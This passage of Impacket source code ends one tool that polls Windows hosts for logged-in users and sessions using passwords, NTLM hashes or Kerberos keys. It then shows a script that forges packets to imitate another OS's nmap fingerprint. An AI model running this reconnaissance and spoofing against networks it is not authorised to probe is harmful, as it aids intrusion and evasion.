self.__filterUsers: print("%s: user %s logged from host %s - active: %d, idle: %d" % ( target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time'])) printCRLF = True else: print("%s: user %s logged from host %s - active: %d, idle: %d" % ( target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time'])) printCRLF = True # Let's see who deleted a connection since last check for nItem, session in enumerate(self.__targets[target]['Sessions']): userName, sourceIP = session.split('\x01') if session not in tmpSession: del(self.__targets[target]['Sessions'][nItem]) # Are we filtering users? if self.__filterUsers is not None: if userName in self.__filterUsers: print("%s: user %s logged off from host %s" % (target, userName, sourceIP)) printCRLF=True else: print("%s: user %s logged off from host %s" % (target, userName, sourceIP)) printCRLF=True if printCRLF is True: print() def getLoggedIn(self, target): if self.__targets[target]['Admin'] is False: return if self.__targets[target]['WKST'] is None: stringWkstBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % target rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding) if hasattr(rpctransportWkst, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransportWkst.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransportWkst.set_kerberos(self.__doKerberos, self.__kdcHost) dce = rpctransportWkst.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) self.__maxConnections -= 1 else: dce = self.__targets[target]['WKST'] try: resp = wkst.hNetrWkstaUserEnum(dce,1) except Exception as e: if str(e).find('Broken pipe') >= 0: # The connection timed-out. Let's try to bring it back next round self.__targets[target]['WKST'] = None self.__maxConnections += 1 return elif str(e).upper().find('ACCESS_DENIED'): # We're not admin, bye dce.disconnect() self.__maxConnections += 1 self.__targets[target]['Admin'] = False return else: raise if self.__maxConnections < 0: # Can't keep this connection open. Closing it dce.disconnect() self.__maxConnections = 0 else: self.__targets[target]['WKST'] = dce # Let's see who looged in locally since last check tmpLoggedUsers = set() printCRLF = False for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']: userName = session['wkui1_username'][:-1] logonDomain = session['wkui1_logon_domain'][:-1] key = '%s\x01%s' % (userName, logonDomain) tmpLoggedUsers.add(key) if not(key in self.__targets[target]['LoggedIn']): self.__targets[target]['LoggedIn'].add(key) # Are we filtering users? if self.__filterUsers is not None: if userName in self.__filterUsers: print("%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName)) printCRLF=True else: print("%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName)) printCRLF=True # Let's see who logged out since last check for session in self.__targets[target]['LoggedIn'].copy(): userName, logonDomain = session.split('\x01') if session not in tmpLoggedUsers: self.__targets[target]['LoggedIn'].remove(session) # Are we filtering users? if self.__filterUsers is not None: if userName in self.__filterUsers: print("%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName)) printCRLF=True else: print("%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName)) printCRLF=True if printCRLF is True: print() def stop(self): if self.__targetsThreadEvent is not None: self.__targetsThreadEvent.set() # Process command-line arguments. if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser() parser.add_argument('identity', action='store', help='[domain/]username[:password]') parser.add_argument('-user', action='store', help='Filter output by this user') parser.add_argument('-users', type=argparse.FileType('r'), help='input file with list of users to filter to output for') #parser.add_argument('-group', action='store', help='Filter output by members of this group') #parser.add_argument('-groups', type=argparse.FileType('r'), help='Filter output by members of the groups included in the input file') parser.add_argument('-target', action='store', help='target system to query info from. If not specified script will ' 'run in domain mode.') parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query info ' 'from (one per line). If not specified script will run in domain mode.') parser.add_argument('-noloop', action='store_true', default=False, help='Stop after the first probe') parser.add_argument('-delay', action='store', default = '10', help='seconds delay between starting each batch probe ' '(default 10 seconds)') parser.add_argument('-max-connections', action='store', default='1000', help='Max amount of connections to keep ' 'opened (default 1000)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password = parse_credentials(options.identity) try: if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True executer = USERENUM(username, password, domain, options.hashes, options.aesKey, options.k, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) executer.stop() except KeyboardInterrupt: logging.info('Quitting.. please wait') executer.stop() sys.exit(0) impacket-impacket_0_11_0/examples/nmapAnswerMachine.py000077500000000000000000001077611446174712300232250ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # import uncrc32 try: import pcap as pcapy except ImportError: import pcapy from impacket import ImpactPacket from impacket import ImpactDecoder from impacket import version from impacket.ImpactPacket import TCPOption, array_tobytes from impacket.examples import logger from impacket.examples import os_ident #defaults MAC = "01:02:03:04:05:06" IP = "192.168.67.254" IFACE = "eth0" OPEN_TCP_PORTS = [80, 443] OPEN_UDP_PORTS = [111] UDP_CMD_PORT = 12345 nmapOSDB = '/usr/share/nmap/nmap-os-db' # Fingerprint = 'Adtran NetVanta 3200 router' # CD=Z TOSI=Z <----------- NMAP detects it as Linux!!! # Fingerprint = 'ADIC Scalar 1000 tape library remote management unit' # DFI=S # Fingerprint = 'Siemens Gigaset SX541 or USRobotics USR9111 wireless DSL modem' # DFI=O U1(DF=N IPL=38) # Fingerprint = 'Apple Mac OS X 10.5.6 (Leopard) (Darwin 9.6.0)' # DFI=Y SI=S U1(DF=Y) Fingerprint = 'Sun Solaris 10 (SPARC)' # Fingerprint = 'Sun Solaris 9 (x86)' # Fingerprint = '3Com OfficeConnect 3CRWER100-75 wireless broadband router' # TI=Z DFI=N !SS TI=Z II=I # Fingerprint = 'WatchGuard Firebox X5w firewall/WAP' # TI=RD # no TI=Hex # Fingerprint = 'FreeBSD 6.0-STABLE - 6.2-RELEASE' # TI=RI # Fingerprint = 'Microsoft Windows 98 SE' # TI=BI ----> BROKEN! nmap shows no SEQ() output # Fingerprint = 'Microsoft Windows NT 4.0 SP5 - SP6' # TI=BI TOSI=S SS=S # Fingerprint = 'Microsoft Windows Vista Business' # TI=I U1(IPL=164) # Fingerprint = 'FreeBSD 6.1-RELEASE' # no TI (TI=O) # Fingerprint = '2Wire 1701HG wireless ADSL modem' # IE(R=N) # Fingerprint = 'Cisco Catalyst 1912 switch' # TOSI=O SS=S O_ETH = 0 O_IP = 1 O_ARP = 1 O_UDP = 2 O_TCP = 2 O_ICMP = 2 O_UDP_DATA = 3 O_ICMP_DATA = 3 def string2tuple(string): if string.find(':') >= 0: return [int(x) for x in string.split(':')] else: return [int(x) for x in string.split('.')] class Responder: templateClass = None signatureName = None def __init__(self, machine): self.machine = machine print("Initializing %s" % self.__class__.__name__) self.initTemplate() self.initFingerprint() def initTemplate(self): if not self.templateClass: self.template_onion = None else: try: probe = self.templateClass(0, ['0.0.0.0',self.getIP()],[0, 0]) except: probe = self.templateClass(0, ['0.0.0.0',self.getIP()]) self.template_onion = [probe.get_packet()] try: while 1: self.template_onion.append (self.template_onion[-1].child ()) except: pass # print("Template: %s" % self.template_onion[O_ETH]) # print("Options: %r" % self.template_onion[O_TCP].get_padded_options()) # print("Flags: 0x%04x" % self.template_onion[O_TCP].get_th_flags()) def initFingerprint(self): if not self.signatureName: self.fingerprint = None else: self.fingerprint = self.machine.fingerprint.get_tests()[self.signatureName].copy() def isMine(self, in_onion): return False def buildAnswer(self, in_onion): return None def sendAnswer(self, out_onion): self.machine.sendPacket(out_onion) def process(self, in_onion): if not self.isMine(in_onion): return False print("Got packet for %s" % self.__class__.__name__) out_onion = self.buildAnswer(in_onion) if out_onion: self.sendAnswer(out_onion) return True def getIP(self): return self.machine.ipAddress # Generic Responders (does the word Responder exist?) class ARPResponder(Responder): def isMine(self, in_onion): if len(in_onion) < 2: return False if in_onion[O_ARP].ethertype != ImpactPacket.ARP.ethertype: return False return ( in_onion[O_ARP].get_ar_op() == 1 and # ARP REQUEST in_onion[O_ARP].get_ar_tpa() == string2tuple(self.machine.ipAddress)) def buildAnswer(self, in_onion): eth = ImpactPacket.Ethernet() arp = ImpactPacket.ARP() eth.contains(arp) arp.set_ar_hrd(1) # Hardward type Ethernet arp.set_ar_pro(0x800) # IP arp.set_ar_op(2) # REPLY arp.set_ar_hln(6) arp.set_ar_pln(4) arp.set_ar_sha(string2tuple(self.machine.macAddress)) arp.set_ar_spa(string2tuple(self.machine.ipAddress)) arp.set_ar_tha(in_onion[O_ARP].get_ar_sha()) arp.set_ar_tpa(in_onion[O_ARP].get_ar_spa()) eth.set_ether_shost(arp.get_ar_sha()) eth.set_ether_dhost(arp.get_ar_tha()) return [eth, arp] class IPResponder(Responder): def buildAnswer(self, in_onion): eth = ImpactPacket.Ethernet() ip = ImpactPacket.IP() eth.contains(ip) eth.set_ether_shost(in_onion[O_ETH].get_ether_dhost()) eth.set_ether_dhost(in_onion[O_ETH].get_ether_shost()) ip.set_ip_src(in_onion[O_IP].get_ip_dst()) ip.set_ip_dst(in_onion[O_IP].get_ip_src()) ip.set_ip_id(self.machine.getIPID()) return [eth, ip] def sameIPFlags(self, in_onion): if not self.template_onion: return True return (self.template_onion[O_IP].get_ip_off() & 0xe000) == (in_onion[O_IP].get_ip_off() & 0xe000) def isMine(self, in_onion): if len(in_onion) < 2: return False return ( (in_onion[O_IP].ethertype == ImpactPacket.IP.ethertype) and (in_onion[O_IP].get_ip_dst() == self.machine.ipAddress) and self.sameIPFlags(in_onion) ) def setTTLFromFingerprint(self, out_onion): f = self.fingerprint # Test T: Initial TTL = range_low-range_hi, base 16 # Assumption: we are using the minimum in the TTL range try: ttl = f['T'].split('-') ttl = int(ttl[0], 16) except: ttl = 0x7f # Test TG: Initial TTL Guess. It's just a number, we prefer this try: ttl = int(f['TG'], 16) except: pass out_onion[O_IP].set_ip_ttl(ttl) class ICMPResponder(IPResponder): def buildAnswer(self, in_onion): out_onion = IPResponder.buildAnswer(self, in_onion) icmp = ImpactPacket.ICMP() out_onion[O_IP].contains(icmp) out_onion.append(icmp) icmp.set_icmp_id(in_onion[O_ICMP].get_icmp_id()) icmp.set_icmp_seq(in_onion[O_ICMP].get_icmp_seq()) out_onion[O_IP].set_ip_id(self.machine.getIPID_ICMP()) return out_onion def isMine(self, in_onion): if not IPResponder.isMine(self, in_onion): return False if len(in_onion) < 3: return False return (in_onion[O_ICMP].protocol == ImpactPacket.ICMP.protocol) and self.sameICMPTemplate(in_onion) def sameICMPTemplate(self, in_onion): t_ip = self.template_onion[O_IP] t_icmp = self.template_onion[O_ICMP] t_icmp_datalen = self.template_onion[O_ICMP_DATA].get_size() return ( (t_ip.get_ip_tos () == in_onion[O_IP].get_ip_tos ()) and ( t_ip.get_ip_df () == in_onion[O_IP].get_ip_df ()) and ( t_icmp.get_icmp_type () == in_onion[O_ICMP].get_icmp_type ()) and ( t_icmp.get_icmp_code () == in_onion[O_ICMP].get_icmp_code ()) and ( t_icmp_datalen == in_onion[O_ICMP_DATA].get_size ()) ) class UDPResponder(IPResponder): def isMine(self, in_onion): return ( IPResponder.isMine(self, in_onion) and (len(in_onion) >= 3) and (in_onion[O_UDP].protocol == ImpactPacket.UDP.protocol) ) class OpenUDPResponder(UDPResponder): def isMine(self, in_onion): return ( UDPResponder.isMine(self, in_onion) and self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport())) def buildAnswer(self, in_onion): out_onion = IPResponder.buildAnswer(self, in_onion) udp = ImpactPacket.UDP() out_onion[O_IP].contains(udp) out_onion.append(udp) udp.set_uh_dport(in_onion[O_UDP].get_uh_sport()) udp.set_uh_sport(in_onion[O_UDP].get_uh_dport()) return out_onion class ClosedUDPResponder(UDPResponder): def isMine(self, in_onion): return ( UDPResponder.isMine(self, in_onion) and not self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport())) def buildAnswer(self, in_onion): out_onion = IPResponder.buildAnswer(self, in_onion) icmp = ImpactPacket.ICMP() out_onion[O_IP].contains(icmp) out_onion.append(icmp) icmp.contains(in_onion[O_IP]) out_onion += in_onion[O_IP:] icmp.set_icmp_type(icmp.ICMP_UNREACH) icmp.set_icmp_code(icmp.ICMP_UNREACH_PORT) return out_onion class TCPResponder(IPResponder): def buildAnswer(self, in_onion): out_onion = IPResponder.buildAnswer(self, in_onion) tcp = ImpactPacket.TCP() out_onion[O_IP].contains(tcp) out_onion.append(tcp) tcp.set_th_dport(in_onion[O_TCP].get_th_sport()) tcp.set_th_sport(in_onion[O_TCP].get_th_dport()) return out_onion def sameTCPFlags(self, in_onion): if not self.template_onion: return True in_flags = in_onion[O_TCP].get_th_flags() & 0xfff t_flags = self.template_onion[O_TCP].get_th_flags() & 0xfff return in_flags == t_flags def sameTCPOptions(self, in_onion): if not self.template_onion: return True in_options = in_onion[O_TCP].get_padded_options() t_options = self.template_onion[O_TCP].get_padded_options() return in_options == t_options def isMine(self, in_onion): if not IPResponder.isMine(self, in_onion): return False if len(in_onion) < 3: return False return (in_onion[O_TCP].protocol == ImpactPacket.TCP.protocol and self.sameTCPFlags (in_onion) and self.sameTCPOptions ( in_onion)) class OpenTCPResponder(TCPResponder): def isMine(self, in_onion): return (TCPResponder.isMine (self, in_onion) and in_onion[O_TCP].get_SYN () and self.machine.isTCPPortOpen ( in_onion[O_TCP].get_th_dport ())) def buildAnswer(self, in_onion): out_onion = TCPResponder.buildAnswer(self, in_onion) out_onion[O_TCP].set_SYN() out_onion[O_TCP].set_ACK() out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) return out_onion class ClosedTCPResponder(TCPResponder): def isMine(self, in_onion): return ( TCPResponder.isMine(self, in_onion) and in_onion[O_TCP].get_SYN() and not self.machine.isTCPPortOpen(in_onion[O_TCP].get_th_dport())) def buildAnswer(self, in_onion): out_onion = TCPResponder.buildAnswer(self, in_onion) out_onion[O_TCP].set_RST() out_onion[O_TCP].set_ACK() out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) return out_onion class UDPCommandResponder(OpenUDPResponder): # default UDP_CMD_PORT is 12345 # use with: # echo cmd:exit | nc -u $(IP) $(UDP_CMD_PORT) # echo cmd:who | nc -u $(IP) $(UDP_CMD_PORT) def set_port(self, port): self.port = port self.machine.openUDPPort(port) return self def isMine(self, in_onion): return ( OpenUDPResponder.isMine(self, in_onion))# and #in_onion[O_UDP].get_uh_dport() == self.port) def buildAnswer(self, in_onion): cmd = array_tobytes(in_onion[O_UDP_DATA].get_bytes()) if cmd[:4] == 'cmd:': cmd = cmd[4:].strip() print("Got command: %r" % cmd) if cmd == 'exit': from sys import exit exit() out_onion = OpenUDPResponder.buildAnswer(self, in_onion) out_onion.append(ImpactPacket.Data()) out_onion[O_UDP].contains(out_onion[O_UDP_DATA]) if cmd == 'who': out_onion[O_UDP_DATA].set_data(self.machine.fingerprint.get_id()) return out_onion # NMAP2 specific responders class NMAP2UDPResponder(ClosedUDPResponder): signatureName = 'U1' # No real need to filter # def isMine(self, in_onion): # return ( # ClosedUDPResponder.isMine(self, inOnion) and # (in_onion[O_UDP_DATA].get_size() == 300)) def buildAnswer(self, in_onion): out_onion = ClosedUDPResponder.buildAnswer(self, in_onion) f = self.fingerprint # assume R = Y try: if (f['R'] == 'N'): return None except: pass # Test DF: Don't fragment IP bit set = [YN] if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True) else: out_onion[O_IP].set_ip_df(False) self.setTTLFromFingerprint(out_onion) # UN. Assume 0 try: un = int(f['UN'],16) except: un = 0 out_onion[O_ICMP].set_icmp_void(un) # RIPL. Assume original packet just quoted try: ripl = int(f['RIPL'],16) # G generates exception out_onion[O_ICMP_DATA].set_ip_len(ripl) except: pass # RID. Assume original packet just quoted try: rid = int(f['RID'],16) # G generates exception out_onion[O_ICMP_DATA].set_ip_id(rid) except: pass # RIPCK. Assume original packet just quoted try: ripck = f['RIPCK'] except: ripck = 'G' if ripck == 'I': out_onion[O_ICMP_DATA].set_ip_sum(0x6765) elif ripck == 'Z': out_onion[O_ICMP_DATA].set_ip_sum(0) elif ripck == 'G': out_onion[O_ICMP_DATA].auto_checksum = 0 # RUCK. Assume original packet just quoted try: ruck = int(f['RUCK'], 16) out_onion[O_ICMP_DATA+1].set_uh_sum(ruck) except: out_onion[O_ICMP_DATA+1].auto_checksum = 0 # RUD. Assume original packet just quoted try: rud = f['RUD'] except: rud = 'G' if rud == 'I': udp_data = out_onion[O_ICMP_DATA+2] udp_data.set_data('G'*udp_data.get_size()) # IPL. Assume all original packet is quoted # This has to be the last thing we do # as we are going to render the packet before doing it try: ipl = int(f['IPL'], 16) except: ipl = None if not ipl is None: data = out_onion[O_ICMP_DATA].get_packet() out_onion[O_ICMP].contains(ImpactPacket.Data()) ip_and_icmp_len = out_onion[O_IP].get_size() data = data[:ipl - ip_and_icmp_len] data += '\x00'*(ipl-len(data)-ip_and_icmp_len) out_onion = out_onion[:O_ICMP_DATA] out_onion.append(ImpactPacket.Data(data)) out_onion[O_ICMP].contains(out_onion[O_ICMP_DATA]) return out_onion class NMAP2ICMPResponder(ICMPResponder): def buildAnswer(self, in_onion): f = self.fingerprint # assume R = Y try: if (f['R'] == 'N'): return None except: pass out_onion = ICMPResponder.buildAnswer(self, in_onion) # assume DFI = N try: dfi = f['DFI'] except: dfi = 'N' if dfi == 'N': out_onion[O_IP].set_ip_df(False) elif dfi == 'Y': out_onion[O_IP].set_ip_df(True) elif dfi == 'S': out_onion[O_IP].set_ip_df(in_onion[O_IP].get_ip_df()) elif dfi == 'O': out_onion[O_IP].set_ip_df(not in_onion[O_IP].get_ip_df()) else: raise Exception('Unsupported IE(DFI=%s)' % dfi) # assume DLI = S try: dli = f['DLI'] except: dli = 'S' if dli == 'S': out_onion[O_ICMP].contains(in_onion[O_ICMP_DATA]) elif dli != 'Z': raise Exception('Unsupported IE(DFI=%s)' % dli) self.setTTLFromFingerprint(out_onion) # assume SI = S try: si = f['SI'] except: si = 'S' if si == 'S': out_onion[O_ICMP].set_icmp_seq(in_onion[O_ICMP].get_icmp_seq()) elif si == 'Z': out_onion[O_ICMP].set_icmp_seq(0) # this is not currently supported by nmap, but I've done it already else: try: out_onion[O_ICMP].set_icmp_seq(int(si, 16)) # this is not supported either by nmap except: raise Exception('Unsupported IE(SI=%s)' % si) # assume CD = S try: cd = f['CD'] except: cd = 'S' if cd == 'Z': out_onion[O_ICMP].set_icmp_code(0) elif cd == 'S': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()) elif cd == 'O': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()+1) # no examples in DB else: try: out_onion[O_ICMP].set_icmp_code(int(cd, 16)) # documented, but no examples available except: raise Exception('Unsupported IE(CD=%s)' % cd) # assume TOSI = S try: tosi = f['TOSI'] except: tosi = 'S' if tosi == 'Z': out_onion[O_IP].set_ip_tos(0) elif tosi == 'S': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()) elif tosi == 'O': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()+1) # no examples in DB else: try: out_onion[O_IP].set_ip_tos(int(tosi, 16)) # documented, but no examples available except: raise Exception('Unsupported IE(TOSI=%s)' % tosi) return out_onion class NMAP2TCPResponder(TCPResponder): def buildAnswer(self, in_onion): out_onion = TCPResponder.buildAnswer(self, in_onion) f = self.fingerprint # Test R: There is a response = [YN] if (f['R'] == 'N'): return None # Test DF: Don't fragment IP bit set = [YN] if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True) else: out_onion[O_IP].set_ip_df(False) # Test W: Initial TCP windows size try: win = int(f['W'],16) except: win = 0 out_onion[O_TCP].set_th_win(win) self.setTTLFromFingerprint(out_onion) # Test CC: Explicit congestion notification # Two TCP flags are used in this test: ECE and CWR try: cc = f['CC'] if cc == 'N': ece,cwr = 0,0 if cc == 'Y': ece,cwr = 1,0 if cc == 'S': ece,cwr = 1,1 if cc == 'O': ece,cwr = 0,1 except: ece,cwr = 0,0 if ece: out_onion[O_TCP].set_ECE() else: out_onion[O_TCP].reset_ECE() if cwr: out_onion[O_TCP].set_CWR() else: out_onion[O_TCP].reset_CWR() # Test O: TCP Options try: options = f['O'] except: options = '' self.setTCPOptions(out_onion, options) # Test S: TCP Sequence number # Z: Sequence number is zero # A: Sequence number is the same as the ACK in the probe # A+: Sequence number is the same as the ACK in the probe + 1 # O: Other value try: s = f['S'] except: s = 'O' if s == 'Z': out_onion[O_TCP].set_th_seq(0) if s == 'A': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()) if s == 'A+': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()+1) if s == 'O': out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) # Test A: TCP ACK number # Z: Ack is zero # S: Ack is the same as the Squence number in the probe # S+: Ack is the same as the Squence number in the probe + 1 # O: Other value try: a = f['A'] except: a = 'O' if a == 'Z': out_onion[O_TCP].set_th_ack(0) if a == 'S': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()) if a == 'S+': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) # Test Q: Quirks # R: Reserved bit set (right after the header length) # U: Urgent pointer non-zero and URG flag clear try: if 'R' in f['Q']: out_onion[O_TCP].set_flags(0x800) except: pass try: if 'U' in f['Q']: out_onion[O_TCP].set_th_urp(0xffff) except: pass # Test F: TCP Flags try: flags = f['F'] except: flags = '' if 'E' in flags: out_onion[O_TCP].set_ECE() if 'U' in flags: out_onion[O_TCP].set_URG() if 'A' in flags: out_onion[O_TCP].set_ACK() if 'P' in flags: out_onion[O_TCP].set_PSH() if 'R' in flags: out_onion[O_TCP].set_RST() if 'S' in flags: out_onion[O_TCP].set_SYN() if 'F' in flags: out_onion[O_TCP].set_FIN() # Test RD: TCP Data checksum (mostly for data in RST) try: crc = f['RD'] if crc != '0': # when the crc = int(crc, 16) data = 'TCP Port is closed\x00' data += uncrc32.compensate(data, crc) data = ImpactPacket.Data(data) out_onion.append(data) out_onion[O_TCP].contains(data) except: pass return out_onion def setTCPOptions(self, onion, options): def getValue(string, i): value = 0 idx = i for c in options[i:]: try: value = value * 0x10 + int(c,16) except: break idx += 1 return value, idx # Test O,O1=O6: TCP Options # L: End of Options # N: NOP # S: Selective ACK # Mx: MSS (x is a hex number) # Wx: Windows Scale (x is a hex number) # Tve: Timestamp (v and e are two binary digits, v for TSval and e for TSecr i = 0 tcp = onion[O_TCP] while i < len(options): opt = options[i] i += 1 if opt == 'L': tcp.add_option(TCPOption(TCPOption.TCPOPT_EOL)) if opt == 'N': tcp.add_option(TCPOption(TCPOption.TCPOPT_NOP)) if opt == 'S': tcp.add_option(TCPOption(TCPOption.TCPOPT_SACK_PERMITTED)) if opt == 'T': opt = TCPOption(TCPOption.TCPOPT_TIMESTAMP) # default ts = 0, ts_echo = 0 if options[i] == '1': opt.set_ts(self.machine.getTCPTimeStamp()) if options[i+1] == '1': opt.set_ts_echo(0xffffffff) tcp.add_option(opt) i += 2 if opt == 'M': maxseg, i = getValue(options, i) tcp.add_option(TCPOption(TCPOption.TCPOPT_MAXSEG, maxseg)) if opt == 'W': window, i = getValue(options, i) tcp.add_option(TCPOption(TCPOption.TCPOPT_WINDOW, window)) class nmap2_SEQ(NMAP2TCPResponder): templateClass = None signatureName = None seqNumber = None def initFingerprint(self): NMAP2TCPResponder.initFingerprint(self) if not self.seqNumber: return else: OPS = self.machine.fingerprint.get_tests()['OPS'] WIN = self.machine.fingerprint.get_tests()['WIN'] self.fingerprint['O'] = OPS['O%d' % self.seqNumber] self.fingerprint['W'] = WIN['W%d' % self.seqNumber] class nmap2_ECN(NMAP2TCPResponder): templateClass = os_ident.nmap2_ecn_probe signatureName = 'ECN' class nmap2_SEQ1(nmap2_SEQ): templateClass = os_ident.nmap2_seq_1 signatureName = 'T1' seqNumber = 1 class nmap2_SEQ2(nmap2_SEQ): templateClass = os_ident.nmap2_seq_2 signatureName = 'T1' seqNumber = 2 class nmap2_SEQ3(nmap2_SEQ): templateClass = os_ident.nmap2_seq_3 signatureName = 'T1' seqNumber = 3 class nmap2_SEQ4(nmap2_SEQ): templateClass = os_ident.nmap2_seq_4 signatureName = 'T1' seqNumber = 4 class nmap2_SEQ5(nmap2_SEQ): templateClass = os_ident.nmap2_seq_5 signatureName = 'T1' seqNumber = 5 class nmap2_SEQ6(nmap2_SEQ): templateClass = os_ident.nmap2_seq_6 signatureName = 'T1' seqNumber = 6 class nmap2_T2(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_open_2 signatureName = 'T2' class nmap2_T3(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_open_3 signatureName = 'T3' class nmap2_T4(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_open_4 signatureName = 'T4' class nmap2_T5(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_closed_1 signatureName = 'T5' class nmap2_T6(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_closed_2 signatureName = 'T6' class nmap2_T7(NMAP2TCPResponder): templateClass = os_ident.nmap2_tcp_closed_3 signatureName = 'T7' class nmap2_ICMP_1(NMAP2ICMPResponder): templateClass = os_ident.nmap2_icmp_echo_probe_1 signatureName = 'IE' class nmap2_ICMP_2(NMAP2ICMPResponder): templateClass = os_ident.nmap2_icmp_echo_probe_2 signatureName = 'IE' class Machine: AssumedTimeIntervalPerPacket = 0.11 # seconds def __init__(self, emmulating, interface, ipAddress, macAddress, openTCPPorts = [], openUDPPorts = [], nmapOSDB = 'nmap-os-db'): self.interface = interface self.ipAddress = ipAddress self.macAddress = macAddress self.responders = [] self.decoder = ImpactDecoder.EthDecoder() self.initPcap() self.initFingerprint(emmulating, nmapOSDB) self.initSequenceGenerators() self.openTCPPorts = openTCPPorts self.openUDPPorts = openUDPPorts print(self) def openUDPPort(self, port): if self.isUDPPortOpen(port): return self.openUDPPorts.append(port) def isUDPPortOpen(self, port): return port in self.openUDPPorts def isTCPPortOpen(self, port): return port in self.openTCPPorts def initPcap(self): self.pcap = pcapy.open_live(self.interface, 65535, 1, 0) try: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress)) except: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress), 1, 0xFFFFFF00) def initGenericResponders(self): # generic responders self.addResponder(ARPResponder(self)) self.addResponder(OpenUDPResponder(self)) self.addResponder(ClosedUDPResponder(self)) self.addResponder(OpenTCPResponder(self)) self.addResponder(ClosedTCPResponder(self)) def initFingerprint(self, emmulating, nmapOSDB): fpm = os_ident.NMAP2_Fingerprint_Matcher('') f = open(nmapOSDB, 'r') for text in fpm.fingerprints(f): fingerprint = fpm.parse_fp(text) if fingerprint.get_id() == emmulating: self.fingerprint = fingerprint self.simplifyFingerprint() # print(fingerprint) return raise Exception("Couldn't find fingerprint data for %r" % emmulating) def simplifyFingerprint(self): tests = self.fingerprint.get_tests() for probeName in tests: probe = tests[probeName] for test in probe: probe[test] = probe[test].split('|')[0] def initSequenceGenerators(self): self.initIPIDGenerator() self.initTCPISNGenerator() self.initTCPTSGenerator() def initIPIDGenerator(self): seq = self.fingerprint.get_tests()['SEQ'] self.ip_ID = 0 try: TI = seq['TI'] except: TI = 'O' if TI == 'Z': self.ip_ID_delta = 0 elif TI == 'RD': self.ip_ID_delta = 30000 elif TI == 'RI': self.ip_ID_delta = 1234 elif TI == 'BI': self.ip_ID_delta = 1024+256 elif TI == 'I': self.ip_ID_delta = 1 elif TI == 'O': self.ip_ID_delta = 123 else: self.ip_ID_delta = int(TI, 16) try: ss = seq['SS'] except: ss = 'O' self.ip_ID_ICMP_delta = None if ss == 'S': self.ip_ID_ICMP = None else: self.ip_ID_ICMP = 0 try: II = seq['II'] except: II = 'O' if II == 'Z': self.ip_ID_ICMP_delta = 0 elif II == 'RD': self.ip_ID_ICMP_delta = 30000 elif II == 'RI': self.ip_ID_ICMP_delta = 1234 elif II == 'BI': self.ip_ID_ICMP_delta = 1024+256 elif II == 'I': self.ip_ID_ICMP_delta = 1 elif II == 'O': self.ip_ID_ICMP_delta = 123 else: self.ip_ID_ICMP_delta = int(II, 16) # generate a few, so we don't start with 0 when we don't have to for i in range(10): self.getIPID() self.getIPID_ICMP() print("IP ID Delta: %d" % self.ip_ID_delta) print("IP ID ICMP Delta: %s" % self.ip_ID_ICMP_delta) def initTCPISNGenerator(self): # tcp_ISN and tcp_ISN_delta for TCP 